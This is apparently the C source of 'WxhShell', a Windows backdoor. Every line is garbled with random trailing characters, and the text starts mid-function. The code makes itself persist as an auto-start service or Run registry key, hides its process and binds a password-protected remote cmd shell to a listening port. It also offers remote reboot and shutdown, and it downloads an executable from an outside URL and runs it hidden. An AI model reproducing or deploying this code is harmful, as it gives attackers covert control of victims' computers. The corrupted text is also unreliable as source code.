    if(Boot(SHUTDOWN)) >L{s[pLJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _}RzJKl@  
    else { =SqI# v  
    closesocket(wsh); HJ+I;OJ  
    ExitThread(0); vE=)qn=a  
    } {YzRf S  
    break; U#{^29ik=o  
    } Jx(`.*$  
  // 获取shell 9;B6<`e/U  
  case 's': { s)<^YASg  
    CmdShell(wsh); m\O|BMHn  
    closesocket(wsh); c2iPm9"eh  
    ExitThread(0); C\WU<!  
    break; JVx ,1lth  
  } uv$t>_^  
  // 退出 mx:)&1  
  case 'x': { B]-~hP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )of?!>'S[  
    CloseIt(wsh); tbr1mw'G  
    break; G*x"drP  
    } 6;8Jy  
  // 离开 X;D"}X4(E  
  case 'q': { "`'' eV3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8p)*;Y  
    closesocket(wsh); RHOEyXhOA  
    WSACleanup(); RCvf@[y4  
    exit(1); / Q8glLnM  
    break; KNZN2N)wR  
        } ` e~nn  
  } ]l.qp5eQ  
  } t:?8I9d  
Mc #w:UH[  
  // 提示信息 .tny"a&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4?s ~S. %  
} &!E+l<.RF  
  } E)h&<{%  
}VUrn2@-4  
  return; ~c*$w O\  
} TDtS^(2A7K  
G6?+Qz r  
// shell模块句柄 28N v'  
int CmdShell(SOCKET sock) 3TS(il9A  
{ "\]NOA*  
STARTUPINFO si; y>DvD)  
ZeroMemory(&si,sizeof(si)); 'Lb- +X,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /y.+N`_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;[ag|YU$Y  
PROCESS_INFORMATION ProcessInfo; #'<s/7;~  
char cmdline[]="cmd"; $<[Q8V-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L-}6}5[  
  return 0; x\r[Zp|  
} $aFCe}3b<  
",hPy[k  
// 自身启动模式 \k69 S/O  
int StartFromService(void) +UGWTO\#ha  
{ +U:U/c5Z^  
typedef struct !N@d51T=N  
{ 0 kM4\E n  
  DWORD ExitStatus; 9O.okU  
  DWORD PebBaseAddress; `qnNEJL,  
  DWORD AffinityMask; S1B^FLe7X  
  DWORD BasePriority; x=%p~$C  
  ULONG UniqueProcessId; e/p2| 4;  
  ULONG InheritedFromUniqueProcessId; 0F495'*A  
}   PROCESS_BASIC_INFORMATION; _+vE(:T  
>5aZ?#TS1  
PROCNTQSIP NtQueryInformationProcess; VW[!%<  
2qF ?%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R2 I 7d'|v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <Xsy{7  
1JFCYJy  
  HANDLE             hProcess; /2n-q_  
  PROCESS_BASIC_INFORMATION pbi; S?M'JoYy  
C" W,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b,8\i|*!f  
  if(NULL == hInst ) return 0; `=zlS"dQ  
gC+PpY#2h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z~S(OM@olJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nzo;j0 [  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %)|pUa&  
ey~5DY7  
  if (!NtQueryInformationProcess) return 0; Lcx)wof  
j<HBzqP%6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oVK3=m@ {  
  if(!hProcess) return 0; )5479Eb_  
E,/<;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t Lz,t&h  
i Sm .E  
  CloseHandle(hProcess); ID#p5`3n  
m!qbQMXn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IsC`r7  
if(hProcess==NULL) return 0; +p%!G1Yz  
;_HG 5}i  
HMODULE hMod; ZJ$nHS?ra  
char procName[255]; R8*z}xy{  
unsigned long cbNeeded; " aEk#W  
G=.vo3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^{IF2_h"  
3($cBC  
  CloseHandle(hProcess); $E j;CN59  
$mV1K)ege  
if(strstr(procName,"services")) return 1; // 以服务启动 907N;r  
q$|Wxnz  
  return 0; // 注册表启动 vSOO[.=  
} NM`5hd{  
:oYz=c  
// 主模块 -/y]'_a  
int StartWxhshell(LPSTR lpCmdLine) zXop@"(e  
{ biBo?k;4  
  SOCKET wsl; 8R) 0|v&;  
BOOL val=TRUE; j>{Dbl:#2  
  int port=0; R7q\^Yzo  
  struct sockaddr_in door; hLqRF4>L  
co93}A,k  
  if(wscfg.ws_autoins) Install(); &tAhRMa  
<K(qv^C  
port=atoi(lpCmdLine); t+ ,'  
*v' d1.Z  
if(port<=0) port=wscfg.ws_port; @Nm;lZK  
kXfTNMb  
  WSADATA data; Q1A_hW2x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z4^O`yS9+  
E=H>|FgS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uX!5G:x]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Hli@:B2s  
  door.sin_family = AF_INET; y&-1SP<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IpJMq^ Z  
  door.sin_port = htons(port); klwC.=?(j"  
p>g5WebBN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4P406,T]r  
closesocket(wsl); 6ka, FjJ\  
return 1;  ^n5rUwS>  
} e2~$=f-  
qy9RYIfZ  
  if(listen(wsl,2) == INVALID_SOCKET) { rwJCVkF  
closesocket(wsl); Skb d'j  
return 1; Ke*tLnO  
} 6D=9J%;  
  Wxhshell(wsl); uuD|%-Ng  
  WSACleanup(); DFk0"+Ky  
m=qEQy6#2u  
return 0; ho'Ihep,L  
L<}0}y  
} ^Uj\s /  
t-;zgW5mwF  
// 以NT服务方式启动 iFJ1}0<(x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R/_bk7o]H  
{ zF)&o}  
DWORD   status = 0; 69 >-  
  DWORD   specificError = 0xfffffff; @26gP:Um  
TZl^M h[a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V1P]mUs{1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Sj[iKCEKtv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =T?:b8yV  
  serviceStatus.dwWin32ExitCode     = 0; R2e":`0I  
  serviceStatus.dwServiceSpecificExitCode = 0; *N C9S,eSP  
  serviceStatus.dwCheckPoint       = 0; ]FQO@ y  
  serviceStatus.dwWaitHint       = 0; ]g3RVA%\l  
SJ4+s4!l <  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ep$C nBwE  
  if (hServiceStatusHandle==0) return; <T3v|\6~H  
YQH=]5r  
status = GetLastError(); '{[n,xeR  
  if (status!=NO_ERROR) A(2\Gfe  
{ .Wr%l $~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A=PJg!  
    serviceStatus.dwCheckPoint       = 0; ]52.nxs~  
    serviceStatus.dwWaitHint       = 0; MJzY|  
    serviceStatus.dwWin32ExitCode     = status; x$:P;#  
    serviceStatus.dwServiceSpecificExitCode = specificError; --> ~<o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g5YDRL!Wh  
    return; @MoBR.  
  } P<tHqN !q  
1GaM!OC9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YLx4qE  
  serviceStatus.dwCheckPoint       = 0; AgBXB%).  
  serviceStatus.dwWaitHint       = 0; d :a*;F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RCL}bE  
} -](NMRqfN  
C'wRF90  
// 处理NT服务事件,比如:启动、停止 Sb/`a~q ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xa=Lu?t%<  
{ a7? )x])e  
switch(fdwControl) @{X<|,W9w  
{ J [k,S(Y  
case SERVICE_CONTROL_STOP: G0izZWc  
  serviceStatus.dwWin32ExitCode = 0; ?_@_NV MY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BM vGw  
  serviceStatus.dwCheckPoint   = 0; ^?~WIS  
  serviceStatus.dwWaitHint     = 0; 4GN  
  { #hQ#_7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NKSK+ll2  
  } ;UAi>//#   
  return; gfW_S&&q  
case SERVICE_CONTROL_PAUSE: UGb<&)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YcmLc)a7  
  break; ~~B`\!n7  
case SERVICE_CONTROL_CONTINUE: t++ a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F?Fs x)2k  
  break; N| N#-  
case SERVICE_CONTROL_INTERROGATE: s2X<b `  
  break; S#:yl>2  
}; %3:[0o={d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J-k/#A4o  
} 'bb *$T0=  
Xa xM$  
// 标准应用程序主函数 4pJ #fkc^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bn<1zg5  
{ "8-;Dq'+  
9K6G%  
// 获取操作系统版本 @~+W  
OsIsNt=GetOsVer(); QyEGK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %0gcNk"=  
}t FRl  
  // 从命令行安装 M}S1Zz%Ii1  
  if(strpbrk(lpCmdLine,"iI")) Install(); om1@;u8u  
%FhUjHm  
  // 下载执行文件 nn?h;KzB  
if(wscfg.ws_downexe) { y!kU0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %`# HGji)  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,pHQv(K/  
} '| 6ZPv&N  
' O+)[D  
if(!OsIsNt) { DTMoZm  
// 如果时win9x,隐藏进程并且设置为注册表启动 SqosJ}K  
HideProc(); %S$+ 3q%F  
StartWxhshell(lpCmdLine); I;g>r8N-Bu  
} v.q`1D1=t  
else 0zHMtC1 ,  
  if(StartFromService()) |lG7/\A  
  // 以服务方式启动 J/(^Z?/~P!  
  StartServiceCtrlDispatcher(DispatchTable); w~%Rxdh?8W  
else EW~M,+?  
  // 普通方式启动 c]+uj q  
  StartWxhshell(lpCmdLine); Sp]u5\  
E|K|AdL  
return 0; ^Mmsja5K  
} a`*Dq"9pV  
Aw) I:d7F  
'~\\:37+  
&*YFK/]  
=========================================== 2e<u/M21>  
y7ZYo7avg  
_Oc(K "v  
i!i=6m.q7  
\5pBK  
TZ+- >CG  
" Q ^{XM  
7@NV|Idtd  
#include <stdio.h> /Pyj|!C3`q  
#include <string.h> .dO8I/lhV  
#include <windows.h> NW4tQ;ad  
#include <winsock2.h> t[4V1:  
#include <winsvc.h> $l=&  
#include <urlmon.h> R8%%EEB  
Rh,a4n?W  
#pragma comment (lib, "Ws2_32.lib") 'o]kOp@q  
#pragma comment (lib, "urlmon.lib") Q`m9I  
xa[)fk$6  
#define MAX_USER   100 // 最大客户端连接数 _C54l  
#define BUF_SOCK   200 // sock buffer !Pc&Sg  
#define KEY_BUFF   255 // 输入 buffer Wi+}qO  
fW z=bJ"V  
#define REBOOT     0   // 重启 eq6>C7.$  
#define SHUTDOWN   1   // 关机 VxAG= E  
m|]:oT`M  
#define DEF_PORT   5000 // 监听端口 Ju@8_ ?8=  
A:4?Jd>  
#define REG_LEN     16   // 注册表键长度 xS+!/pBf"Y  
#define SVC_LEN     80   // NT服务名长度 %5 ovW<E:  
WS6;ad;|  
// 从dll定义API BS|$-i5L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HD YWDp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $z[@DB[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;u*I#)7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %:!ILN  
<;lwvO  
// wxhshell配置信息 ey@{Ng#  
struct WSCFG { E;rS"'D:  
  int ws_port;         // 监听端口 `V2doV)  
  char ws_passstr[REG_LEN]; // 口令 HJ+ Q7)  
  int ws_autoins;       // 安装标记, 1=yes 0=no v83@J~  
  char ws_regname[REG_LEN]; // 注册表键名 ' +f(9/  
  char ws_svcname[REG_LEN]; // 服务名 X6Q\NJ"B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H{4_,2h =m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :SD#>eD0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =eyPo(B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mfx-Ja_a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5q;c=oRUj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z)ndj 1,#)  
Sfa;;7W@R  
}; p|>m 2(|  
odTa 2$O  
// default Wxhshell configuration .G-L/*&%  
struct WSCFG wscfg={DEF_PORT, <)a7Nrc\T  
    "xuhuanlingzhe", SajasjE!^1  
    1, e8 1+as  
    "Wxhshell", ix_&os]L_  
    "Wxhshell", "9X1T]  
            "WxhShell Service", f7b6!R;z_  
    "Wrsky Windows CmdShell Service", :X}fXgeL  
    "Please Input Your Password: ", &)izh) FA  
  1, _%wB*u,X  
  "http://www.wrsky.com/wxhshell.exe", `O]$FpO  
  "Wxhshell.exe" <<PXh&wu0  
    }; J -z <&9  
6>gm!6`  
// 消息定义模块 3Dx@rW\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; - VdCj%r>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9I[k3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fXSuJ<G  
char *msg_ws_ext="\n\rExit."; nyL$z-I)  
char *msg_ws_end="\n\rQuit."; N$.=1Q$F6  
char *msg_ws_boot="\n\rReboot..."; _H"_&m$aDm  
char *msg_ws_poff="\n\rShutdown..."; v, !`A!{D  
char *msg_ws_down="\n\rSave to "; *G8Z[ht%r  
X#o<))  
char *msg_ws_err="\n\rErr!"; ? =I']$MH  
char *msg_ws_ok="\n\rOK!"; =9;b|Y"aQ  
>VppM  `  
char ExeFile[MAX_PATH]; Fh4Exl@6  
int nUser = 0; Z^c\M\`7  
HANDLE handles[MAX_USER]; c-**~tb(  
int OsIsNt; G2&,R{L6w  
b$sT`+4q  
SERVICE_STATUS       serviceStatus; |j4p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i3cMRcS;  
K!8l!FFl  
// 函数声明 u{cb[M  
int Install(void); xYY^tZIV  
int Uninstall(void); Y,?kS dS  
int DownloadFile(char *sURL, SOCKET wsh); d~q7!  
int Boot(int flag); (6i4N2  
void HideProc(void); 40O@a:q*  
int GetOsVer(void); u%5 ,U-  
int Wxhshell(SOCKET wsl); hh[x(O)TC~  
void TalkWithClient(void *cs); `{NbMc\ ]  
int CmdShell(SOCKET sock); ]:}7-;$V  
int StartFromService(void); iD<}r?Z  
int StartWxhshell(LPSTR lpCmdLine); %@8#+#@J0  
C@g/{?\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1'H!S%fS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QT=i>X  
G!Yt.M 0  
// 数据结构和表定义 M5 P3;  
SERVICE_TABLE_ENTRY DispatchTable[] = o$#q/L  
{ t$b5,"G1  
{wscfg.ws_svcname, NTServiceMain}, <Y"HC a{  
{NULL, NULL} Z>~7|vl  
}; :1;"{=Yx}  
6]mAtA`Y  
// 自我安装 Z= =c3~  
int Install(void) y Z)-=H  
{ p^w_-( p  
  char svExeFile[MAX_PATH]; H`,t"I  
  HKEY key; o1k+dJUd  
  strcpy(svExeFile,ExeFile); .hjN*4RY  
K1w:JA6(  
// 如果是win9x系统,修改注册表设为自启动 L) UCVm  
if(!OsIsNt) { $h[Q }uW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >-y}t9[/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rq`5ff3,  
  RegCloseKey(key); `Ue5;<K-/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j Y(|z*|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]MC5 uKn  
  RegCloseKey(key); 89{`GKWX  
  return 0; zYM0?O8pJ~  
    } -XnOj2  
  } $RYOj{1  
} R[rOzoNp0  
else { FH{p1_kZ=  
{{AZW   
// 如果是NT以上系统,安装为系统服务 hxt;sQAo{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q3`~uTzk  
if (schSCManager!=0) q. j$]?PQ  
{ C=bQ2t=Z  
  SC_HANDLE schService = CreateService  yyGn <  
  ( Gz4LjMQ &  
  schSCManager, 7eW6$$ju,N  
  wscfg.ws_svcname, C}ASVywc,1  
  wscfg.ws_svcdisp, Qjd]BX;  
  SERVICE_ALL_ACCESS, x`I"%pG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FD[4?\W]#  
  SERVICE_AUTO_START, 8U n0<+b  
  SERVICE_ERROR_NORMAL, -C8LM ls  
  svExeFile, 3S1{r )[j  
  NULL, t#%J=zF{  
  NULL, `~\8fN  
  NULL, m}f{o  
  NULL, !3{. V\P)  
  NULL d$8K,-M  
  ); u>:j$@56  
  if (schService!=0) NErvX/qK  
  { +??pej]Rp  
  CloseServiceHandle(schService); ?O"zp65d(  
  CloseServiceHandle(schSCManager); ~S$ex,~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ec^2tx"=  
  strcat(svExeFile,wscfg.ws_svcname); b}*q*Bq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5=Y(.}6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qwp2h"t`  
  RegCloseKey(key); Hz=s)6$ey  
  return 0; *?VB/yO=0  
    } 2`> (LH  
  } w ~^{V4V  
  CloseServiceHandle(schSCManager); or bz`IQc  
} JSx[V<7m  
} 7PwH&rI  
Ocz21gl-?`  
return 1; *_]fe&s=%  
} $.31<@T7  
'v=BAY=Ef  
// 自我卸载 ap,zC)[  
int Uninstall(void) MZqHL4<|  
{ ,XI=e=  
  HKEY key; g4{0  
gZ-:4G|J  
if(!OsIsNt) { 0.c9 6&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sy<io@df  
  RegDeleteValue(key,wscfg.ws_regname); rbs&A{i  
  RegCloseKey(key); uo*lW2&U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q.\vN-(  
  RegDeleteValue(key,wscfg.ws_regname); "!uS!BI?  
  RegCloseKey(key); T5}5uk9  
  return 0; g|h;*  
  } Z_7TD)  
} Fq`@sM $  
} 1lJ^$U  
else { k(v &+v  
Do5{t'm3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i[w&!mn%  
if (schSCManager!=0) B9 ,  
{ 7[i&EPN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qD /h/  
  if (schService!=0) r"p"UW9og  
  { o{ccO29H/  
  if(DeleteService(schService)!=0) { :9(w~bB9$  
  CloseServiceHandle(schService); _@VKWU$$  
  CloseServiceHandle(schSCManager); &B++ "f  
  return 0; db}lN  
  } &vIj(e9Y  
  CloseServiceHandle(schService); >5zD0!bA  
  } ABL5T-*]  
  CloseServiceHandle(schSCManager); 7M_GGjP  
} \jS^+Xf?^  
} f# hmMa  
s?fEorG  
return 1; +ZV?yR2yn  
} wo$ F_!3u  
;&kZ7%  
// 从指定url下载文件 8%xiHPVg  
int DownloadFile(char *sURL, SOCKET wsh) /Ao.b|mm  
{ sDu&9+  
  HRESULT hr; +vPCr&40  
char seps[]= "/"; =#wE*6T9  
char *token; T+FlN-iy)  
char *file; dEor+5}  
char myURL[MAX_PATH]; zm4e+v-  
char myFILE[MAX_PATH]; m`b:#z  
ie7TO{W  
strcpy(myURL,sURL); /b6j<]H  
  token=strtok(myURL,seps); PWfd<Yf!  
  while(token!=NULL) BZjL\{IW  
  { .TNJuuO  
    file=token; Zc*#LsQh.`  
  token=strtok(NULL,seps); ?+$EPaC2  
  } Fl"LK:)  
#vViEBVeN  
GetCurrentDirectory(MAX_PATH,myFILE); g Eq6[G  
strcat(myFILE, "\\"); a t=;}}X  
strcat(myFILE, file); e`)zR'As  
  send(wsh,myFILE,strlen(myFILE),0); f9'dZ}B  
send(wsh,"...",3,0);  q ^Gj IP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >R.!Qze\G  
  if(hr==S_OK) ): r'IR  
return 0; W;U<,g '  
else N'|9rB2e  
return 1; ZJ[p7XP  
"L9pFz</  
} U]ZI_[\'U  
\tdYTb.  
// 系统电源模块 '[bw7T  
int Boot(int flag) rKl  
{ :z$+leNH\  
  HANDLE hToken; 8P&z@E{y  
  TOKEN_PRIVILEGES tkp; Qr?(2t#  
0.1?hb|p5T  
  if(OsIsNt) { 6*I=% H|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t3!~=U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~$7YEs)  
    tkp.PrivilegeCount = 1; 9FF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lvUWs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ESe$6)P  
if(flag==REBOOT) { KnK\X>:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v,US4C|^3i  
  return 0; g=Nde2d?  
} V~t; J  
else { p#gf^Y5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Owh:(EJ"d  
  return 0; a JQ_V  
} msw=x0{n5  
  } VxU{ZD~<Z"  
  else { xI~c~KC  
if(flag==REBOOT) { "b`3   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1#2L9Bi  
  return 0; 1\5po^Oioy  
} ZPHatC  
else { y"zZ9HQM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G52z5-=v  
  return 0; ]YB,K)WQ  
} ~sCdvBA  
} :} o{<U  
*bi;mQ  
return 1; (T",6xBSG  
} ZrWA,~;  
0EC/l OS  
// win9x进程隐藏模块 V j[,o Vt$  
void HideProc(void) i\{fM}~W$  
{ SqoO"(1x  
eW[](lGWM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )U{IQE;T#  
  if ( hKernel != NULL ) \Zn~y--Z  
  { Ystd[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hTQ]xN)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M7neOQHq  
    FreeLibrary(hKernel); ket"fXqJX  
  } U#4>GO;A  
a!;K+wL >  
return; DWU(ld:_  
} yuF\YOA9  
Kq:vTz&<  
// 获取操作系统版本 '8|joj>G=  
int GetOsVer(void) U2(mWQ[mO  
{ \%.&$z3wz  
  OSVERSIONINFO winfo; *(nu0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Bo/i =/7%  
  GetVersionEx(&winfo); 8ya|eJ]/L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NHzVA*f  
  return 1; YKa9]Q  
  else 4o( Q+6m  
  return 0; +qyx3c+  
} vz)zl2F5sY  
^i17MvT'  
// 客户端句柄模块 #LG<o3An  
int Wxhshell(SOCKET wsl) N\x<'P4q  
{ P)UpUMt;k  
  SOCKET wsh; l,j0n0h.  
  struct sockaddr_in client; J8DKia|h(  
  DWORD myID; smuQ1.b  
byJ[1UK  
  while(nUser<MAX_USER) ,h.hgyt  
{ IVG77+O# }  
  int nSize=sizeof(client); /ASpAl[J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A*? Qm  
  if(wsh==INVALID_SOCKET) return 1;  Kuh)3/7  
p[D,.0SuC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l/bZE.GJ  
if(handles[nUser]==0) K)9f\1\  
  closesocket(wsh); V_T~5%9Fy  
else qWI8 >my11  
  nUser++; BU%gXr4Ra  
  } Gk<6+.c~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4pFoSs?\  
"%+9p6/  
  return 0; \0^Je>-:U  
} !A"-9OS2  
^L's45&_  
// 关闭 socket \-:4TuU  
void CloseIt(SOCKET wsh) Z]^O=kX7k  
{ %eE 6\f%g  
closesocket(wsh); t` zPx#])  
nUser--; `w% Qs)2  
ExitThread(0); FdMTc(>  
} e:=+~F(f  
.OD{^Kq2  
// 客户端请求句柄 ?/Z5%?6  
void TalkWithClient(void *cs) 7]8apei|  
{ i7xBi:Si  
7 9ZYRm2;  
  SOCKET wsh=(SOCKET)cs;  lmB+S  
  char pwd[SVC_LEN]; U p: M[S  
  char cmd[KEY_BUFF]; 3F9AnS  
char chr[1]; !ziO1U  
int i,j; 9 H~OC8R:  
6?3\P>`3Y  
  while (nUser < MAX_USER) { ?rgtbiSW-  
(e[8`C  
if(wscfg.ws_passstr) { 6"jV>CNc@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AM4 :xz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Pi="  
  //ZeroMemory(pwd,KEY_BUFF); IsB=G-s  
      i=0; );ZxKGjc4  
  while(i<SVC_LEN) { CrEC@5 j  
K=;oZYNd  
  // 设置超时 9AZpvQ  
  fd_set FdRead; oF(|NS^  
  struct timeval TimeOut; UN`O*(k[  
  FD_ZERO(&FdRead); rs:a^W5t  
  FD_SET(wsh,&FdRead); SR { KL#NC  
  TimeOut.tv_sec=8; Bl v @u?  
  TimeOut.tv_usec=0; -<aN$O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x=VLRh%Gvl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R8fB 8 )  
LT) G"U~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]08 ~"p  
  pwd=chr[0];  :O{ ZZ  
  if(chr[0]==0xd || chr[0]==0xa) { WB=|Ty ~l  
  pwd=0; .V|o-~c  
  break; J, vEZT<Mt  
  } 6?KJ"Ai9  
  i++; B}Sl1)E  
    } VY'1 $  
z<n&P7k5j  
  // 如果是非法用户,关闭 socket "TePO7^m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SFa~j)9'n  
} kV+O|9  
PkxhR;4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r WPoR/M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x<[W9Z'~?9  
Y%)@)$sK  
while(1) { [V.#w|n  
)nA fT0()0  
  ZeroMemory(cmd,KEY_BUFF); Ct30EZ  
h$q=NTV  
      // 自动支持客户端 telnet标准   $qh?$a  
  j=0; "A,-/~cBV  
  while(j<KEY_BUFF) { F<A[S "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c~iAjq+c  
  cmd[j]=chr[0]; +umVl  
  if(chr[0]==0xa || chr[0]==0xd) { by0M(h  
  cmd[j]=0; $${9 %qPzb  
  break; D$G:#z*  
  } \*6Ld %:h$  
  j++; :sXn*k4v  
    } W\JwEb9Y  
/|2 hW`G  
  // 下载文件 cSs??i D"q  
  if(strstr(cmd,"http://")) { hQ}B?'>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N?krlR  
  if(DownloadFile(cmd,wsh)) @F0+t;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U<mFwJ C]  
  else x6B_5eF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UFY_.N~  
  } 8\@&~&(y:  
